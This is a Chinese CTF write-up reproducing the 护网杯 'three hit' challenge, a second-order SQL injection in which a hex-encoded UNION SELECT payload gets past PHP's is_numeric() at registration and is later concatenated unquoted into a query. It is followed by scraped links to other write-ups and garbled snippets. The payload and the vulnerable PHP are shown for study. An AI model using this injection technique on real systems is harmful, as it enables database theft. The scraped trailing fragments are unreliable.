护网杯 three hit 复现(is_numeric引发的二次注入)
1.题目源码
https://github.com/ZhangAiQiang/three-hit
题目并不真的是当时源码,是我根据做法自己写的,虽然代码烂,但是还好能达到复现的目的
2.is_numeric()漏洞
is_numeric()检查是否是数字字符串,同时也可以是十六进制。
比如
is_numeric(1) true
is_numeric('a') false
is_numeric('2a') false
is_numeric(0xabcedf) true
3.注册账号
root,root,0x3078656520756E696F6E2073656C656374207573657228292C322C33
age是一串十六进制,是
0xee union select user(),2,3 的十六进制形式
因为is_numeric()的关系,同样可以写进去,那么会是什么格式呢
4.分析注册的时候的源码
$sql="insert into user values('$username',md5('$password'),$age)";
可以看到$age是没有单引号保护的,那我们看一下数据库中的数据
(这里先说下,age并不是int类型,因为是int类型的话,字符串根本插不上。)
我们明明是插入的十六进制数据,为什么会变成字符串呢?
执行一下sql:
insert into user values('root2',md5('root2'),0x3078656520756E696F6E2073656C656374207573657228292C322C33)
insert into user values('root3',md5('root3'),'0x3078656520756E696F6E2073656C656374207573657228292C322C33')
两者的区别在于,age是否有单引号的保护,我们看到,当少了单引号后,插入的十六进制数据变成了字符串,和题目的源码正好对应了起来。
5. 个人中心
可以看到,已经注入出来了user。
6.分析个人中心的源码
username是存储在session里面的,然后功能是先找出你当前用户的age,然后根据当前用户的age寻找其他的具有相同age的用户。
$sql = "SELECT * FROM user where username= '".$_SESSION['username']."'"; 这一句话查询出年龄,并没有什么危害。
$sql = "SELECT * FROM user where age=".$age;
这句话是二次注入的引发点,因为age我们是可控的,我们注册的root账号里面age内容是
0xee union select user(),2,3
拼接:select * from user where age=0xee union select user(),2,3
这样注入就分析完了。
7.总结:
age得为字符串类型
插入注册信息的时候age字段没有单引号保护
我感觉就拿这个题目来说的话,平时工作谁会写出这么蠢的代码。
护网杯 three hit 复现(is_numeric引发的二次注入)的更多相关文章
- [一道蓝鲸安全打卡Web分析] 文件上传引发的二次注入
蓝鲸打卡的一个 web 文件上传引发二次注入的题解和思考 蓝鲸文件管理系统 源代码地址:http://www.whaledu.com/course/290/task/2848/show 首先在设置文件 ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- 护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~
护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB ...
- 2019护网杯baby_forensic
题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...
- buu[护网杯 2018]easy_tornado
[护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...
- 2018护网杯-easy_laravel 复现
题目docker环境: https://github.com/sco4x0/huwangbei2018_easy_laravel git clone下来直接composer up -d 运行即可,可以 ...
- 强网杯2018 pwn复现
前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...
- 护网杯2019 mergeheap --pwn
护网 又是签到 一天 这道题一开始 不懂得如何泄露 libc 信息,就蒙了 后来群里师傅也是刚刚好 做出 到这里 我就接着做了 . 先看下保护,发现 全开了 然后 就看下流程 大概 就是添加 c ...
- 2018护网杯easy_tornado(SSTI tornado render模板注入)
考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...
随机推荐
- html5中event获取data和class
获取data和class var tare=$(e.relatedTarget).data("id");var tar=event.target;console.log(tare) ...
- 选择排序_C语言_数组
选择排序_C语言_数组 #include <stdio.h> void select_sort(int *); int main(int argc, const char * argv[] ...
- 原生js的常见封装
)); } ;;;;]){ ]; ] = ;;;,) ,) ,) ,) ,) , ...
- shell的命令格式
参考高峻峰 著 循序渐进Linux(第二版) command [options] [arguments] command:表示命令的名称 options:表示命令的选项 arguments:表示命令的 ...
- tomcat6添加服务
Mysql在导入大量数据的时候就要把tomcat添加成服务 添加服务 在DOS界面下,进入Tomcat解压目录的bin目录 service.bat install
- ubuntu各系统双网卡绑定
Ubuntu14.04双网卡绑定 2.1 确定网卡名称 首先确定两块网卡的名称,一般为eth0.eth1,如果有自己添加的网卡名称可能不同,在安装系统的时候可以看到,通过ipmaddr命令可以查看所有 ...
- 关于linux命令的说明
开始前我们必须先认识绝对路径与相对路径 绝对路径是从盘符开始的路径 :例如:/etc/sysconfig/network (从根直接指到network) 相对路径是从当前自己所在位置开始的路径:例如我 ...
- 使用Python第三方库生成二维码
本文主要介绍两个可用于生成二维码的Python第三方库:MyQR和qrcode. MyQR的使用: 安装: pip install MyQR 导入: from MyQR import myqr imp ...
- ruby 可枚举模块Enumerable
Enumerable模块提供了遍历,搜索,比较,排序等方法.如果我们自定义的类需要实现这些方法,必须实现一个each方法.如果需要使用max,min,sort等方法,因为这些方法是集合的元素之间的排序 ...
- poj_2339
参考:https://blog.csdn.net/yzl_rex/article/details/7600906 https://blog.csdn.net/acm_JL/article/detail ...